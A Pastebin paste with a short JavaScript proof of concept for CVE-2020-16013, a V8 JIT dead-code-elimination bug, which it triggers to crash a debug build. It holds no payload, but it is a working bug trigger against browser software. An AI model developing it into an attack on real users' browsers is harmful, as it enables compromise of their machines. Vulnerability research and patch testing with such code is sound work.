Guest User

PoC CVE-2020-16013

a guest
Jan 6th, 2021
1,198
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // https://twitter.com/Xoorist
  2. // PoC CVE-2020-16013
  3.  
  4. function foo(x,y,z) {
  5.   let pm = ((x & 2) == y) & ((x & 4) == z);
  6.   let px = ((x & 4) == y) & ((x & 2) == z);
  7.   let b = pm == px;
  8.  
  9.   let obj = new Object();
  10.   // This ends up being considered dead code and removed.
  11.   // Feedback is actually collected in the warmup run, which results in the map of obj being updated
  12.   if (!b) {
  13.     obj.x = 23;
  14.   }
  15.   // We'll always deopt here due to the CheckMaps failure
  16.   // How could one abuse the faulty dead code elimination logic???
  17.   return obj.x;
  18. }
  19.  
  20. %PrepareFunctionForOptimization(foo);
  21. foo(6,2,4);
  22. %OptimizeFunctionOnNextCall(foo);
  23. // Will crash in a debug build(DCHECK)
  24. console.log(foo(6,2,4));
RAW Paste Data